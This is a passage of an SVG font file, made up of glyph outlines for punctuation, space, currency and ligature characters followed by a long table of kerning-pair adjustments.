<glyph unicode="&#x2001;" horiz-adv-x="1849" />
<glyph unicode="&#x2002;" horiz-adv-x="924" />
<glyph unicode="&#x2003;" horiz-adv-x="1849" />
<glyph unicode="&#x2004;" horiz-adv-x="616" />
<glyph unicode="&#x2005;" horiz-adv-x="462" />
<glyph unicode="&#x2006;" horiz-adv-x="308" />
<glyph unicode="&#x2007;" horiz-adv-x="308" />
<glyph unicode="&#x2008;" horiz-adv-x="231" />
<glyph unicode="&#x2009;" horiz-adv-x="369" />
<glyph unicode="&#x200a;" horiz-adv-x="102" />
<glyph unicode="&#x2010;" horiz-adv-x="974" d="M147 504v215h680v-215h-680z" />
<glyph unicode="&#x2011;" horiz-adv-x="974" d="M147 504v215h680v-215h-680z" />
<glyph unicode="&#x2012;" horiz-adv-x="974" d="M147 504v215h680v-215h-680z" />
<glyph unicode="&#x2013;" horiz-adv-x="1101" d="M168 463v137h766v-137h-766z" />
<glyph unicode="&#x2014;" horiz-adv-x="1484" d="M168 465v135h1149v-135h-1149z" />
<glyph unicode="&#x2018;" horiz-adv-x="442" d="M72 1160.5q0 56.5 37 109.5l120 174h125l-80 -176q57 -37 57.5 -99.5t-36.5 -98.5t-92.5 -36t-93 35t-37.5 91.5z" />
<glyph unicode="&#x2019;" horiz-adv-x="444" d="M72 1024l78 176q-55 33 -55.5 97.5t36.5 100.5t92.5 36t93 -35t37.5 -91.5t-37 -109.5l-120 -174h-125z" />
<glyph unicode="&#x201a;" horiz-adv-x="444" d="M72 -166l78 176q-55 35 -55.5 98.5t36.5 99.5t92.5 36t93 -35t37.5 -91.5t-37 -109.5l-120 -174h-125z" />
<glyph unicode="&#x201c;" horiz-adv-x="757" d="M72 1160.5q0 56.5 37 109.5l120 174h125l-80 -176q57 -37 57.5 -99.5t-36.5 -98.5t-92.5 -36t-93 35t-37.5 91.5zM385 1160.5q0 56.5 37 109.5l121 174h125l-80 -176q57 -37 57 -99.5t-37 -98.5t-92 -36t-93 35t-38 91.5z" />
<glyph unicode="&#x201d;" horiz-adv-x="755" d="M72 1024l78 176q-55 33 -55.5 97.5t36.5 100.5t92.5 36t93 -35t37.5 -91.5t-37 -109.5l-120 -174h-125zM383 1024l78 176q-55 33 -55 97.5t36.5 100.5t92 36t93.5 -35t38 -91.5t-37 -109.5l-121 -174h-125z" />
<glyph unicode="&#x201e;" horiz-adv-x="755" d="M72 -166l78 176q-55 35 -55.5 98.5t36.5 99.5t92.5 36t93 -35t37.5 -91.5t-37 -109.5l-120 -174h-125zM383 -166l78 176q-55 35 -55 98.5t36.5 99.5t92 36t93.5 -35t38 -91.5t-37 -109.5l-121 -174h-125z" />
<glyph unicode="&#x2022;" horiz-adv-x="876" d="M174 647.5q0 108.5 78 186t186.5 77.5t186 -77.5t77.5 -186t-77.5 -186.5t-186 -78t-186.5 78t-78 186.5z" />
<glyph unicode="&#x2026;" horiz-adv-x="1429" d="M135 137.5q0 63.5 44 107.5t107.5 44t108.5 -44t45 -107.5t-45 -108.5t-108.5 -45t-107.5 45t-44 108.5zM563 137.5q0 63.5 44 107.5t107.5 44t108.5 -44t45 -107.5t-45 -108.5t-108.5 -45t-107.5 45t-44 108.5zM991 137.5q0 63.5 44 107.5t107.5 44t108.5 -44t45 -107.5 t-45 -108.5t-108.5 -45t-107.5 45t-44 108.5z" />
<glyph unicode="&#x202f;" horiz-adv-x="369" />
<glyph unicode="&#x2039;" horiz-adv-x="714" d="M115 492l243 360h222l-236 -360l236 -361h-222z" />
<glyph unicode="&#x203a;" horiz-adv-x="714" d="M135 131l236 361l-236 360h221l244 -360l-244 -361h-221z" />
<glyph unicode="&#x205f;" horiz-adv-x="462" />
<glyph unicode="&#x20ac;" horiz-adv-x="1558" d="M106 459v176h185q-6 49 -6 98t2 72h-181v176h213q68 219 240 352t391 133q326 0 516 -235l-145 -184q-90 96 -171 135t-200 39t-214 -62.5t-142 -177.5h487v-176h-530q-2 -25 -2 -75t6 -95h526v-176h-471q111 -213 334 -213q111 0 189.5 42t166.5 132l146 -176 q-190 -236 -502 -236q-213 0 -378 122t-236 329h-224z" />
<glyph unicode="&#x2122;" horiz-adv-x="2048" d="M121 1303v129h649v-129h-254v-709h-141v709h-254zM928 594v838h221l252 -527l254 527h219v-838h-141v653l-293 -581h-80l-291 581v-653h-141z" />
<glyph unicode="&#xe000;" horiz-adv-x="1085" d="M0 0v1085h1085v-1085h-1085z" />
<glyph unicode="&#xfb01;" horiz-adv-x="1351" d="M82 905v185h137v84q0 172 103.5 273t250 101t267.5 -108l-95 -162q-68 72 -141.5 72t-114 -46t-40.5 -124v-90h286v-185h-286v-905h-230v905h-137zM928 1409q0 59 43 102t102.5 43t102.5 -43t43 -102t-43 -102t-102.5 -43t-102.5 43t-43 102zM956 0v1090h230v-1090h-230z " />
<glyph unicode="&#xfb02;" horiz-adv-x="1351" d="M82 905v185h137v84q0 172 103.5 273t250 101t267.5 -108l-95 -162q-68 72 -141.5 72t-114 -46t-40.5 -124v-90h286v-185h-286v-905h-230v905h-137zM956 0v1520h230v-1520h-230z" />
<hkern u1="&#x26;" u2="&#x2019;" k="59" />
<hkern u1="&#x26;" u2="&#xc6;" k="-27" />
<hkern u1="&#x26;" u2="Y" k="51" />
<hkern u1="&#x26;" u2="W" k="35" />
<hkern u1="&#x26;" u2="V" k="45" />
<hkern u1="&#x26;" u2="T" k="45" />
<hkern u1="&#x26;" u2="A" k="-12" />
<hkern u1="&#x26;" u2="&#x27;" k="59" />
<hkern u1="&#x27;" u2="&#x2039;" k="29" />
<hkern u1="&#x27;" u2="&#xf0;" k="33" />
<hkern u1="&#x27;" u2="&#xc6;" k="106" />
<hkern u1="&#x27;" u2="o" k="23" />
<hkern u1="&#x27;" u2="J" k="35" />
<hkern u1="&#x27;" u2="A" k="94" />
<hkern u1="&#x27;" u2="&#x3a;" k="18" />
<hkern u1="&#x27;" u2="&#x34;" k="45" />
<hkern u1="&#x27;" u2="&#x2f;" k="150" />
<hkern u1="&#x27;" u2="&#x2e;" k="258" />
<hkern u1="&#x27;" u2="&#x26;" k="39" />
<hkern u1="&#x28;" u2="&#xf0;" k="41" />
<hkern u1="&#x28;" u2="&#x7b;" k="20" />
<hkern u1="&#x28;" u2="w" k="31" />
<hkern u1="&#x28;" u2="v" k="27" />
<hkern u1="&#x28;" u2="u" k="43" />
<hkern u1="&#x28;" u2="t" k="27" />
<hkern u1="&#x28;" u2="s" k="35" />
<hkern u1="&#x28;" u2="o" k="55" />
<hkern u1="&#x28;" u2="n" k="31" />
<hkern u1="&#x28;" u2="j" k="-188" />
<hkern u1="&#x28;" u2="f" k="25" />
<hkern u1="&#x28;" u2="a" k="39" />
<hkern u1="&#x28;" u2="S" k="23" />
<hkern u1="&#x28;" u2="O" k="45" />
<hkern u1="&#x28;" u2="&#x39;" k="20" />
<hkern u1="&#x28;" u2="&#x38;" k="33" />
<hkern u1="&#x28;" u2="&#x36;" k="41" />
<hkern u1="&#x28;" u2="&#x34;" k="45" />
<hkern u1="&#x28;" u2="&#x30;" k="39" />
<hkern u1="&#x28;" u2="&#x28;" k="20" />
<hkern u1="&#x29;" u2="&#x29;" k="20" />
<hkern u1="&#x2a;" u2="&#xf0;" k="35" />
<hkern u1="&#x2a;" u2="&#xef;" k="-31" />
<hkern u1="&#x2a;" u2="&#xee;" k="-66" />
<hkern u1="&#x2a;" u2="&#xec;" k="-16" />
<hkern u1="&#x2a;" u2="&#xc6;" k="102" />
<hkern u1="&#x2a;" u2="y" k="-14" />
<hkern u1="&#x2a;" u2="v" k="-18" />
<hkern u1="&#x2a;" u2="o" k="23" />
<hkern u1="&#x2a;" u2="J" k="41" />
<hkern u1="&#x2a;" u2="A" k="90" />
<hkern u1="&#x2b;" u2="&#x33;" k="20" />
<hkern u1="&#x2d;" u2="&#xc6;" k="18" />
<hkern u1="&#x2d;" u2="z" k="35" />
<hkern u1="&#x2d;" u2="x" k="47" />
<hkern u1="&#x2d;" u2="t" k="18" />
<hkern u1="&#x2d;" u2="f" k="18" />
<hkern u1="&#x2d;" u2="Z" k="39" />
<hkern u1="&#x2d;" u2="Y" k="92" />
<hkern u1="&#x2d;" u2="X" k="57" />
<hkern u1="&#x2d;" u2="W" k="39" />
<hkern u1="&#x2d;" u2="V" k="53" />
<hkern u1="&#x2d;" u2="T" k="117" />
<hkern u1="&#x2d;" u2="S" k="16" />
<hkern u1="&#x2d;" u2="J" k="59" />
<hkern u1="&#x2d;" u2="A" k="25" />
<hkern u1="&#x2d;" u2="&#x37;" k="39" />
<hkern u1="&#x2d;" u2="&#x33;" k="39" />
<hkern u1="&#x2d;" u2="&#x32;" k="39" />
<hkern u1="&#x2d;" u2="&#x31;" k="55" />
<hkern u1="&#x2e;" u2="&#x2019;" k="289" />
<hkern u1="&#x2e;" u2="&#x2018;" k="289" />
<hkern u1="&#x2e;" u2="y" k="74" />
<hkern u1="&#x2e;" u2="w" k="57" />
<hkern u1="&#x2e;" u2="v" k="74" />
<hkern u1="&#x2e;" u2="t" k="33" />
<hkern u1="&#x2e;" u2="f" k="16" />
<hkern u1="&#x2e;" u2="Y" k="127" />
<hkern u1="&#x2e;" u2="W" k="96" />
<hkern u1="&#x2e;" u2="V" k="119" />
<hkern u1="&#x2e;" u2="U" k="31" />
<hkern u1="&#x2e;" u2="T" k="119" />
<hkern u1="&#x2e;" u2="O" k="39" />
<hkern u1="&#x2e;" u2="&#x37;" k="35" />
<hkern u1="&#x2e;" u2="&#x36;" k="20" />
<hkern u1="&#x2e;" u2="&#x31;" k="63" />
<hkern u1="&#x2e;" u2="&#x30;" k="23" />
<hkern u1="&#x2e;" u2="&#x27;" k="258" />
<hkern u1="&#x2f;" u2="&#xf0;" k="49" />
<hkern u1="&#x2f;" u2="&#xcf;" k="-16" />
<hkern u1="&#x2f;" u2="&#xc6;" k="135" />
<hkern u1="&#x2f;" u2="z" k="53" />
<hkern u1="&#x2f;" u2="x" k="35" />
<hkern u1="&#x2f;" u2="w" k="23" />
<hkern u1="&#x2f;" u2="v" k="20" />
<hkern u1="&#x2f;" u2="u" k="53" />
<hkern u1="&#x2f;" u2="s" k="88" />
<hkern u1="&#x2f;" u2="o" k="94" />
<hkern u1="&#x2f;" u2="n" k="57" />
<hkern u1="&#x2f;" u2="f" k="27" />
<hkern u1="&#x2f;" u2="a" k="84" />
<hkern u1="&#x2f;" u2="S" k="33" />
<hkern u1="&#x2f;" u2="O" k="51" />
<hkern u1="&#x2f;" u2="J" k="31" />
<hkern u1="&#x2f;" u2="A" k="125" />
<hkern u1="&#x2f;" u2="&#x39;" k="20" />
<hkern u1="&#x2f;" u2="&#x38;" k="39" />
<hkern u1="&#x2f;" u2="&#x36;" k="45" />
<hkern u1="&#x2f;" u2="&#x34;" k="86" />
<hkern u1="&#x2f;" u2="&#x30;" k="43" />
<hkern u1="&#x2f;" u2="&#x2f;" k="575" />
<hkern u1="&#x30;" u2="]" k="43" />
<hkern u1="&#x30;" u2="\" k="27" />
<hkern u1="&#x30;" u2="A" k="20" />
<hkern u1="&#x30;" u2="&#x2f;" k="49" />
<hkern u1="&#x30;" u2="&#x2e;" k="23" />
<hkern u1="&#x30;" u2="&#x29;" k="39" />
<hkern u1="&#x32;" u2="&#xb7;" k="35" />
<hkern u1="&#x32;" u2="&#x2d;" k="23" />
<hkern u1="&#x33;" u2="&#x2f;" k="33" />
<hkern u1="&#x34;" u2="&#xb0;" k="49" />
<hkern u1="&#x34;" u2="]" k="31" />
<hkern u1="&#x34;" u2="\" k="37" />
<hkern u1="&#x34;" u2="Y" k="31" />
<hkern u1="&#x34;" u2="V" k="27" />
<hkern u1="&#x34;" u2="T" k="41" />
<hkern u1="&#x34;" u2="&#x37;" k="27" />
<hkern u1="&#x34;" u2="&#x31;" k="25" />
<hkern u1="&#x34;" u2="&#x29;" k="31" />
<hkern u1="&#x34;" u2="&#x27;" k="43" />
<hkern u1="&#x35;" u2="&#x2f;" k="29" />
<hkern u1="&#x36;" u2="&#x2f;" k="27" />
<hkern u1="&#x37;" u2="&#xc6;" k="90" />
<hkern u1="&#x37;" u2="&#xb7;" k="53" />
<hkern u1="&#x37;" u2="&#xa2;" k="41" />
<hkern u1="&#x37;" u2="Y" k="-33" />
<hkern u1="&#x37;" u2="V" k="-12" />
<hkern u1="&#x37;" u2="A" k="82" />
<hkern u1="&#x37;" u2="&#x34;" k="41" />
<hkern u1="&#x37;" u2="&#x2f;" k="123" />
<hkern u1="&#x37;" u2="&#x2e;" k="135" />
<hkern u1="&#x37;" u2="&#x2d;" k="53" />
<hkern u1="&#x38;" u2="]" k="33" />
<hkern u1="&#x38;" u2="\" k="20" />
<hkern u1="&#x38;" u2="&#x2f;" k="31" />
<hkern u1="&#x38;" u2="&#x29;" k="33" />
<hkern u1="&#x39;" u2="]" k="41" />
<hkern u1="&#x39;" u2="\" k="25" />
<hkern u1="&#x39;" u2="A" k="20" />
<hkern u1="&#x39;" u2="&#x2f;" k="49" />
<hkern u1="&#x39;" u2="&#x2e;" k="25" />
<hkern u1="&#x39;" u2="&#x29;" k="39" />
<hkern u1="&#x3a;" u2="&#x2019;" k="127" />
<hkern u1="&#x3a;" u2="y" k="18" />
<hkern u1="&#x3a;" u2="v" k="20" />
<hkern u1="&#x3a;" u2="t" k="16" />
<hkern u1="&#x3a;" u2="Y" k="92" />
<hkern u1="&#x3a;" u2="W" k="43" />
<hkern u1="&#x3a;" u2="V" k="57" />
<hkern u1="&#x3a;" u2="T" k="113" />
<hkern u1="&#x3a;" u2="&#x27;" k="18" />
<hkern u1="&#x40;" u2="&#x2019;" k="37" />
<hkern u1="&#x40;" u2="Y" k="53" />
<hkern u1="&#x40;" u2="W" k="20" />
<hkern u1="&#x40;" u2="V" k="33" />
<hkern u1="&#x40;" u2="T" k="51" />
<hkern u1="A" u2="&#x2122;" k="96" />
<hkern u1="A" u2="&#x2019;" k="109" />
<hkern u1="A" u2="&#x2018;" k="109" />
<hkern u1="A" u2="&#xf0;" k="18" />
<hkern u1="A" u2="&#xae;" k="25" />
<hkern u1="A" u2="y" k="59" />
<hkern u1="A" u2="w" k="51" />
<hkern u1="A" u2="v" k="59" />
<hkern u1="A" u2="u" k="16" />
<hkern u1="A" u2="t" k="49" />
<hkern u1="A" u2="o" k="23" />
<hkern u1="A" u2="f" k="18" />
<hkern u1="A" u2="]" k="27" />
<hkern u1="A" u2="\" k="113" />
<hkern u1="A" u2="Y" k="104" />
<hkern u1="A" u2="W" k="68" />
<hkern u1="A" u2="V" k="82" />
<hkern u1="A" u2="U" k="35" />
<hkern u1="A" u2="T" k="113" />
<hkern u1="A" u2="O" k="37" />
<hkern u1="A" u2="&#x3f;" k="43" />
<hkern u1="A" u2="&#x36;" k="20" />
<hkern u1="A" u2="&#x31;" k="43" />
<hkern u1="A" u2="&#x30;" k="20" />
<hkern u1="A" u2="&#x2d;" k="25" />
<hkern u1="A" u2="&#x2a;" k="90" />
<hkern u1="A" u2="&#x27;" k="94" />
<hkern u1="B" u2="z" k="10" />
<hkern u1="B" u2="y" k="16" />
<hkern u1="B" u2="x" k="27" />
<hkern u1="B" u2="w" k="14" />
<hkern u1="B" u2="v" k="16" />
<hkern u1="B" u2="t" k="18" />
<hkern u1="B" u2="s" k="14" />
<hkern u1="B" u2="f" k="16" />
<hkern u1="B" u2="]" k="41" />
<hkern u1="B" u2="\" k="29" />
<hkern u1="B" u2="Y" k="39" />
<hkern u1="B" u2="X" k="20" />
<hkern u1="B" u2="W" k="14" />
<hkern u1="B" u2="V" k="25" />
<hkern u1="B" u2="T" k="35" />
<hkern u1="B" u2="J" k="14" />
<hkern u1="B" u2="A" k="16" />
<hkern u1="B" u2="&#x2f;" k="27" />
<hkern u1="B" u2="&#x29;" k="35" />
<hkern u1="C" u2="&#xf0;" k="27" />
<hkern u1="C" u2="&#xee;" k="-47" />
<hkern u1="C" u2="u" k="14" />
<hkern u1="C" u2="s" k="14" />
<hkern u1="C" u2="o" k="31" />
<hkern u1="C" u2="n" k="10" />
<hkern u1="C" u2="S" k="10" />
<hkern u1="C" u2="O" k="31" />
<hkern u1="C" u2="&#x2d;" k="20" />
<hkern u1="E" u2="&#xf0;" k="20" />
<hkern u1="E" u2="u" k="14" />
<hkern u1="E" u2="t" k="16" />
<hkern u1="E" u2="o" k="20" />
<hkern u1="E" u2="f" k="12" />
<hkern u1="E" u2="O" k="20" />
<hkern u1="F" u2="&#xf0;" k="41" />
<hkern u1="F" u2="&#xee;" k="-43" />
<hkern u1="F" u2="&#xed;" k="20" />
<hkern u1="F" u2="&#xec;" k="-29" />
<hkern u1="F" u2="&#xdf;" k="16" />
<hkern u1="F" u2="&#xc6;" k="100" />
<hkern u1="F" u2="z" k="33" />
<hkern u1="F" u2="x" k="18" />
<hkern u1="F" u2="u" k="25" />
<hkern u1="F" u2="t" k="10" />
<hkern u1="F" u2="s" k="43" />
<hkern u1="F" u2="o" k="31" />
<hkern u1="F" u2="n" k="31" />
<hkern u1="F" u2="f" k="14" />
<hkern u1="F" u2="a" k="45" />
<hkern u1="F" u2="J" k="35" />
<hkern u1="F" u2="A" k="88" />
<hkern u1="F" u2="&#x2f;" k="94" />
<hkern u1="F" u2="&#x2e;" k="115" />
<hkern u1="G" u2="y" k="16" />
<hkern u1="G" u2="x" k="12" />
<hkern u1="G" u2="w" k="16" />
<hkern u1="G" u2="v" k="18" />
<hkern u1="G" u2="t" k="18" />
<hkern u1="G" u2="f" k="18" />
<hkern u1="G" u2="]" k="20" />
<hkern u1="G" u2="Y" k="23" />
<hkern u1="G" u2="X" k="10" />
<hkern u1="G" u2="V" k="16" />
<hkern u1="G" u2="T" k="16" />
<hkern u1="G" u2="A" k="14" />
<hkern u1="G" u2="&#x29;" k="20" />
<hkern u1="I" u2="&#xf0;" k="18" />
<hkern u1="I" u2="z" k="10" />
<hkern u1="I" u2="u" k="10" />
<hkern u1="I" u2="t" k="16" />
<hkern u1="I" u2="s" k="12" />
<hkern u1="I" u2="o" k="18" />
<hkern u1="I" u2="n" k="10" />
<hkern u1="I" u2="l" k="10" />
<hkern u1="I" u2="h" k="10" />
<hkern u1="I" u2="f" k="14" />
<hkern u1="I" u2="a" k="12" />
<hkern u1="J" u2="&#xf0;" k="23" />
<hkern u1="J" u2="&#xc6;" k="18" />
<hkern u1="J" u2="z" k="16" />
<hkern u1="J" u2="x" k="12" />
<hkern u1="J" u2="u" k="12" />
<hkern u1="J" u2="t" k="14" />
<hkern u1="J" u2="s" k="20" />
<hkern u1="J" u2="o" k="16" />
<hkern u1="J" u2="n" k="10" />
<hkern u1="J" u2="l" k="10" />
<hkern u1="J" u2="h" k="10" />
<hkern u1="J" u2="f" k="14" />
<hkern u1="J" u2="a" k="14" />
<hkern u1="J" u2="J" k="16" />
<hkern u1="J" u2="A" k="18" />
<hkern u1="J" u2="&#x2f;" k="43" />
<hkern u1="J" u2="&#x2e;" k="18" />
<hkern u1="K" u2="&#x2039;" k="27" />
<hkern u1="K" u2="&#xf0;" k="68" />
<hkern u1="K" u2="&#xef;" k="-39" />
<hkern u1="K" u2="&#xec;" k="-70" />
<hkern u1="K" u2="&#xae;" k="20" />
<hkern u1="K" u2="y" k="53" />
<hkern u1="K" u2="w" k="59" />
<hkern u1="K" u2="v" k="53" />
<hkern u1="K" u2="u" k="45" />
<hkern u1="K" u2="t" k="27" />
<hkern u1="K" u2="o" k="84" />
<hkern u1="K" u2="n" k="10" />
<hkern u1="K" u2="f" k="18" />
<hkern u1="K" u2="a" k="18" />
<hkern u1="K" u2="S" k="25" />
<hkern u1="K" u2="O" k="63" />
<hkern u1="K" u2="&#x2d;" k="55" />
<hkern u1="L" u2="&#x2122;" k="176" />
<hkern u1="L" u2="&#x2019;" k="178" />
<hkern u1="L" u2="&#x2018;" k="178" />
<hkern u1="L" u2="&#xf0;" k="10" />
<hkern u1="L" u2="&#xb7;" k="152" />
<hkern u1="L" u2="&#xae;" k="20" />
<hkern u1="L" u2="y" k="123" />
<hkern u1="L" u2="w" k="100" />
<hkern u1="L" u2="v" k="123" />
<hkern u1="L" u2="u" k="14" />
<hkern u1="L" u2="t" k="63" />
<hkern u1="L" u2="o" k="18" />
<hkern u1="L" u2="f" k="27" />
<hkern u1="L" u2="\" k="139" />
<hkern u1="L" u2="Y" k="135" />
<hkern u1="L" u2="W" k="115" />
<hkern u1="L" u2="V" k="123" />
<hkern u1="L" u2="U" k="35" />
<hkern u1="L" u2="T" k="147" />
<hkern u1="L" u2="O" k="41" />
<hkern u1="L" u2="&#x3f;" k="49" />
<hkern u1="L" u2="&#x31;" k="45" />
<hkern u1="L" u2="&#x2d;" k="133" />
<hkern u1="L" u2="&#x2a;" k="180" />
<hkern u1="L" u2="&#x27;" k="178" />
<hkern u1="O" u2="&#x2122;" k="20" />
<hkern u1="O" u2="&#xf0;" k="10" />
<hkern u1="O" u2="&#xc6;" k="39" />
<hkern u1="O" u2="&#x7d;" k="23" />
<hkern u1="O" u2="z" k="14" />
<hkern u1="O" u2="x" k="25" />
<hkern u1="O" u2="s" k="12" />
<hkern u1="O" u2="n" k="10" />
<hkern u1="O" u2="l" k="10" />
<hkern u1="O" u2="i" k="10" />
<hkern u1="O" u2="h" k="10" />
<hkern u1="O" u2="a" k="10" />
<hkern u1="O" u2="]" k="51" />
<hkern u1="O" u2="\" k="37" />
<hkern u1="O" u2="Z" k="25" />
<hkern u1="O" u2="Y" k="47" />
<hkern u1="O" u2="X" k="51" />
<hkern u1="O" u2="W" k="14" />
<hkern u1="O" u2="V" k="25" />
<hkern u1="O" u2="T" k="39" />
<hkern u1="O" u2="J" k="43" />
<hkern u1="O" u2="A" k="37" />
<hkern u1="O" u2="&#x2f;" k="57" />
<hkern u1="O" u2="&#x2e;" k="39" />
<hkern u1="O" u2="&#x29;" k="45" />
<hkern u1="P" u2="&#x2039;" k="20" />
<hkern u1="P" u2="&#xf0;" k="27" />
<hkern u1="P" u2="&#xc6;" k="100" />
<hkern u1="P" u2="s" k="12" />
<hkern u1="P" u2="o" k="12" />
<hkern u1="P" u2="a" k="20" />
<hkern u1="P" u2="]" k="39" />
<hkern u1="P" u2="Z" k="14" />
<hkern u1="P" u2="Y" k="16" />
<hkern u1="P" u2="X" k="39" />
<hkern u1="P" u2="J" k="63" />
<hkern u1="P" u2="A" k="78" />
<hkern u1="P" u2="&#x2f;" k="98" />
<hkern u1="P" u2="&#x2e;" k="129" />
<hkern u1="P" u2="&#x29;" k="37" />
<hkern u1="Q" u2="&#x7d;" k="10" />
<hkern u1="Q" u2="j" k="-125" />
<hkern u1="Q" u2="]" k="25" />
<hkern u1="R" u2="&#x2039;" k="31" />
<hkern u1="R" u2="&#xf0;" k="41" />
<hkern u1="R" u2="u" k="18" />
<hkern u1="R" u2="t" k="12" />
<hkern u1="R" u2="o" k="31" />
<hkern u1="R" u2="n" k="10" />
<hkern u1="R" u2="f" k="10" />
<hkern u1="R" u2="a" k="20" />
<hkern u1="R" u2="\" k="25" />
<hkern u1="R" u2="Y" k="27" />
<hkern u1="R" u2="V" k="18" />
<hkern u1="R" u2="T" k="20" />
<hkern u1="R" u2="J" k="10" />
<hkern u1="S" u2="z" k="12" />
<hkern u1="S" u2="y" k="20" />
<hkern u1="S" u2="x" k="18" />
<hkern u1="S" u2="w" k="20" />
<hkern u1="S" u2="v" k="20" />
<hkern u1="S" u2="u" k="12" />
<hkern u1="S" u2="t" k="25" />
<hkern u1="S" u2="s" k="12" />
<hkern u1="S" u2="n" k="12" />
<hkern u1="S" u2="f" k="23" />
<hkern u1="S" u2="Y" k="12" />
<hkern u1="S" u2="V" k="10" />
<hkern u1="S" u2="A" k="14" />
<hkern u1="S" u2="&#x2f;" k="23" />
<hkern u1="T" u2="&#x203a;" k="111" />
<hkern u1="T" u2="&#x2039;" k="127" />
<hkern u1="T" u2="&#xf0;" k="82" />
<hkern u1="T" u2="&#xef;" k="-16" />
<hkern u1="T" u2="&#xee;" k="-66" />
<hkern u1="T" u2="&#xed;" k="41" />
<hkern u1="T" u2="&#xec;" k="-49" />
<hkern u1="T" u2="&#xdf;" k="27" />
<hkern u1="T" u2="&#xc6;" k="111" />
<hkern u1="T" u2="&#xae;" k="20" />
<hkern u1="T" u2="z" k="147" />
<hkern u1="T" u2="y" k="139" />
<hkern u1="T" u2="x" k="137" />
<hkern u1="T" u2="w" k="133" />
<hkern u1="T" u2="v" k="139" />
<hkern u1="T" u2="u" k="106" />
<hkern u1="T" u2="t" k="20" />
<hkern u1="T" u2="s" k="147" />
<hkern u1="T" u2="o" k="131" />
<hkern u1="T" u2="n" k="100" />
<hkern u1="T" u2="l" k="10" />
<hkern u1="T" u2="i" k="10" />
<hkern u1="T" u2="h" k="10" />
<hkern u1="T" u2="f" k="43" />
<hkern u1="T" u2="a" k="150" />
<hkern u1="T" u2="O" k="39" />
<hkern u1="T" u2="J" k="27" />
<hkern u1="T" u2="A" k="113" />
<hkern u1="T" u2="&#x40;" k="55" />
<hkern u1="T" u2="&#x3a;" k="113" />
<hkern u1="T" u2="&#x34;" k="66" />
<hkern u1="T" u2="&#x2f;" k="113" />
<hkern u1="T" u2="&#x2e;" k="119" />
<hkern u1="T" u2="&#x2d;" k="117" />
<hkern u1="T" u2="&#x26;" k="29" />
<hkern u1="U" u2="&#xf0;" k="27" />
<hkern u1="U" u2="&#xc6;" k="39" />
<hkern u1="U" u2="z" k="20" />
<hkern u1="U" u2="x" k="12" />
<hkern u1="U" u2="u" k="18" />
<hkern u1="U" u2="t" k="14" />
<hkern u1="U" u2="s" k="27" />
<hkern u1="U" u2="o" k="18" />
<hkern u1="U" u2="n" k="10" />
<hkern u1="U" u2="l" k="12" />
<hkern u1="U" u2="i" k="12" />
<hkern u1="U" u2="h" k="12" />
<hkern u1="U" u2="f" k="12" />
<hkern u1="U" u2="a" k="20" />
<hkern u1="U" u2="J" k="29" />
<hkern u1="U" u2="A" k="35" />
<hkern u1="U" u2="&#x2f;" k="53" />
<hkern u1="U" u2="&#x2e;" k="33" />
<hkern u1="V" u2="&#x2122;" k="-27" />
<hkern u1="V" u2="&#x203a;" k="35" />
<hkern u1="V" u2="&#x2039;" k="72" />
<hkern u1="V" u2="&#xf0;" k="78" />
<hkern u1="V" u2="&#xef;" k="-55" />
<hkern u1="V" u2="&#xee;" k="-55" />
<hkern u1="V" u2="&#xed;" k="29" />
<hkern u1="V" u2="&#xec;" k="-104" />
<hkern u1="V" u2="&#xdf;" k="25" />
<hkern u1="V" u2="&#xc6;" k="92" />
<hkern u1="V" u2="z" k="45" />
<hkern u1="V" u2="x" k="18" />
<hkern u1="V" u2="u" k="51" />
<hkern u1="V" u2="t" k="10" />
<hkern u1="V" u2="s" k="90" />
<hkern u1="V" u2="o" k="88" />
<hkern u1="V" u2="n" k="61" />
<hkern u1="V" u2="f" k="12" />
<hkern u1="V" u2="a" k="88" />
<hkern u1="V" u2="S" k="12" />
<hkern u1="V" u2="O" k="25" />
<hkern u1="V" u2="J" k="27" />
<hkern u1="V" u2="A" k="82" />
<hkern u1="V" u2="&#x40;" k="33" />
<hkern u1="V" u2="&#x3a;" k="57" />
<hkern u1="V" u2="&#x34;" k="41" />
<hkern u1="V" u2="&#x31;" k="-10" />
<hkern u1="V" u2="&#x2f;" k="117" />
<hkern u1="V" u2="&#x2e;" k="119" />
<hkern u1="V" u2="&#x2d;" k="53" />
<hkern u1="V" u2="&#x26;" k="29" />
<hkern u1="W" u2="&#x203a;" k="23" />
<hkern u1="W" u2="&#x2039;" k="57" />
<hkern u1="W" u2="&#xf0;" k="72" />
<hkern u1="W" u2="&#xef;" k="-51" />
<hkern u1="W" u2="&#xee;" k="-49" />
<hkern u1="W" u2="&#xed;" k="25" />
<hkern u1="W" u2="&#xec;" k="-88" />
<hkern u1="W" u2="&#xdf;" k="23" />
<hkern u1="W" u2="&#xc6;" k="80" />
<hkern u1="W" u2="z" k="35" />
<hkern u1="W" u2="x" k="10" />
<hkern u1="W" u2="u" k="43" />
<hkern u1="W" u2="s" k="80" />
<hkern u1="W" u2="o" k="78" />
<hkern u1="W" u2="n" k="51" />
<hkern u1="W" u2="a" k="76" />
<hkern u1="W" u2="O" k="14" />
<hkern u1="W" u2="J" k="25" />
<hkern u1="W" u2="A" k="68" />
<hkern u1="W" u2="&#x40;" k="20" />
<hkern u1="W" u2="&#x3a;" k="43" />
<hkern u1="W" u2="&#x34;" k="27" />
<hkern u1="W" u2="&#x2f;" k="98" />
<hkern u1="W" u2="&#x2e;" k="96" />
<hkern u1="W" u2="&#x2d;" k="39" />
<hkern u1="W" u2="&#x26;" k="20" />
<hkern u1="X" u2="&#x2039;" k="31" />
<hkern u1="X" u2="&#xf0;" k="51" />
<hkern u1="X" u2="&#xef;" k="-16" />
<hkern u1="X" u2="&#xec;" k="-41" />
<hkern u1="X" u2="&#xae;" k="20" />
<hkern u1="X" u2="y" k="49" />
<hkern u1="X" u2="w" k="55" />
<hkern u1="X" u2="v" k="49" />
<hkern u1="X" u2="u" k="43" />
<hkern u1="X" u2="t" k="33" />
<hkern u1="X" u2="o" k="66" />
<hkern u1="X" u2="n" k="12" />
<hkern u1="X" u2="f" k="25" />
<hkern u1="X" u2="a" k="14" />
<hkern u1="X" u2="O" k="51" />
<hkern u1="X" u2="&#x2d;" k="55" />
<hkern u1="Y" u2="&#x2122;" k="-47" />
<hkern u1="Y" u2="&#x203a;" k="66" />
<hkern u1="Y" u2="&#x2039;" k="109" />
<hkern u1="Y" u2="&#xf0;" k="90" />
<hkern u1="Y" u2="&#xef;" k="-78" />
<hkern u1="Y" u2="&#xee;" k="-45" />
<hkern u1="Y" u2="&#xed;" k="39" />
<hkern u1="Y" u2="&#xec;" k="-125" />
<hkern u1="Y" u2="&#xdf;" k="29" />
